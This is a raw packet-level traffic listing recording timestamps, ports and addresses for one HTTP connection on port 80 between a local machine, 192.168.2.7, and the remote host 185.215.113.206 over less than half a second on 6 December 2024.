Dec 6, 2024 22:08:22.387736082 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.387799025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.387924910 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.387979984 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.394831896 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.394999981 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.395044088 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.395143986 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.401468992 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.401559114 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.401840925 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.401889086 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.407717943 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.407780886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.407942057 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.407991886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.413674116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.413733006 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.413945913 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.414015055 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.419622898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.419670105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.419835091 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.419878006 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.424715042 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.424789906 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.424949884 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.424999952 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.427154064 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.427200079 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.427336931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.427381039 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.431154966 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.431216955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.431369066 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.431420088 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.435106993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.435365915 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.435446978 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.438858032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.439085007 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.439137936 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.442456007 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.442699909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.442751884 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.446111917 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.446398973 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.446481943 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.449712992 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.449945927 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.450001955 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.453193903 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.453439951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.453511953 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.456773043 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.457004070 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.457024097 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.457058907 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.460397005 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.460500956 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.460737944 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.460787058 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.463934898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.463994980 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.464097977 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.465279102 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.467484951 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.467628002 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.467643023 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.467746019 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.470930099 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.472024918 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.492245913 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.492326021 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.492567062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.492618084 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.493973017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.494029999 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.494662046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.494718075 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.494913101 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.494968891 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.498178959 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.498245001 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.538074017 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.538168907 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.538194895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.538254023 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.551480055 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.551676989 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.551702976 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.551737070 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.552807093 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.552860975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.553366899 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.553417921 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.553580046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.553627014 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.556144953 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.556210041 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.556351900 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.556396008 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.558738947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.558799982 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.559051037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.559097052 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.561503887 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.561583042 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.561769009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.561813116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.564280987 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.564332962 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.564492941 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.564539909 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.566912889 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.566956043 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.567141056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.567183018 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.569659948 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.569703102 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.569876909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.569931030 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.572246075 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.572402000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.572455883 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.572504997 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.574827909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.574872971 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.575086117 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.575129032 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.577270985 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.577315092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.577507019 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.577550888 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.579813004 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.579857111 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.580054045 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.580095053 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.582211971 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.582257986 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.582501888 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.582564116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.584636927 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.584681988 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.584806919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.584850073 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.586947918 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.587003946 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.587193012 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.587258101 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.589258909 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.589500904 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.589548111 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.591568947 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.591814041 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.591864109 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.593871117 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.594000101 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.594089031 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.594141006 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.612942934 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.612996101 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.613178968 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.613223076 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.613507032 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.613548040 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.613898993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.613953114 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.615375996 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.615427971 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.615833044 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.615880013 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.617347956 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.617383003 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.617558956 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.617608070 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.619232893 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.619286060 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.619463921 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.619513035 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.621083975 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.621136904 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.621294022 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.621341944 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.622908115 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.622982025 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.623122931 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.623168945 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.624737978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.624783039 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.624924898 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.624989033 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.626530886 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.626583099 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.626751900 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.626802921 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.633089066 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.633162975 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.633775949 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.633824110 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.633999109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.634017944 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.634062052 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.634908915 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.634922028 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.634963989 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.635873079 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.635885954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.635924101 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.636682034 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.636694908 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.636733055 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.637506962 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.637557983 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.637932062 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.638029099 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.639547110 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.639594078 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.639669895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.639713049 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.641179085 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.641227007 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.641391993 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.641437054 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.642925978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.642973900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.643168926 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.643217087 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.644778013 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.644833088 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.644988060 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.645150900 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.646586895 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.646646023 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.646833897 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.646881104 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.648426056 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.648478031 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.648658037 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.648708105 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.650254965 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.650310993 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.650469065 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.650640011 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.652093887 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.652144909 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.652288914 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.652350903 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.653889894 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.653939009 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.654155016 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.654201984 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.655736923 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.655786991 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.655944109 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.655993938 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.657529116 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.657582045 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.657732964 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.657795906 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.659367085 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.659516096 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.659583092 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.659626007 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.683305025 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.683357954 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.683532000 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.683578014 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.684206963 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.684252977 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.684642076 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.684688091 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.686166048 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.686216116 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.686285019 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.686331034 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.687839031 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.687884092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.688064098 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.688111067 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.689650059 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.689730883 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.689939022 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.689997911 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.729793072 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.729954004 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.730014086 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.730087042 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.730643034 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.730689049 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.743522882 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.743880987 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.743985891 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.744143009 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.744426966 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.744607925 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.745646954 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.745807886 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.745929956 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.745982885 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.747250080 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.747298002 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.747478962 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.747526884 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.748943090 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.748986959 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.749128103 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.749171972 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.750531912 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.750580072 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.750761986 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.750804901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.752094030 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.752146006 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.752327919 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.752377987 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.753700018 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.753743887 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.753931046 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.754003048 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.755357027 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.755407095 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.755542040 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.755592108 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.756848097 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.756895065 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.757044077 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.757090092 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.758394957 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.758450985 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.758610964 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.758661985 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.759915113 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.759974957 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.760127068 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.761425972 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.761482000 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:22.761732101 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.762826920 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:22.762875080 CET	49701	80	192.168.2.7	185.215.113.206
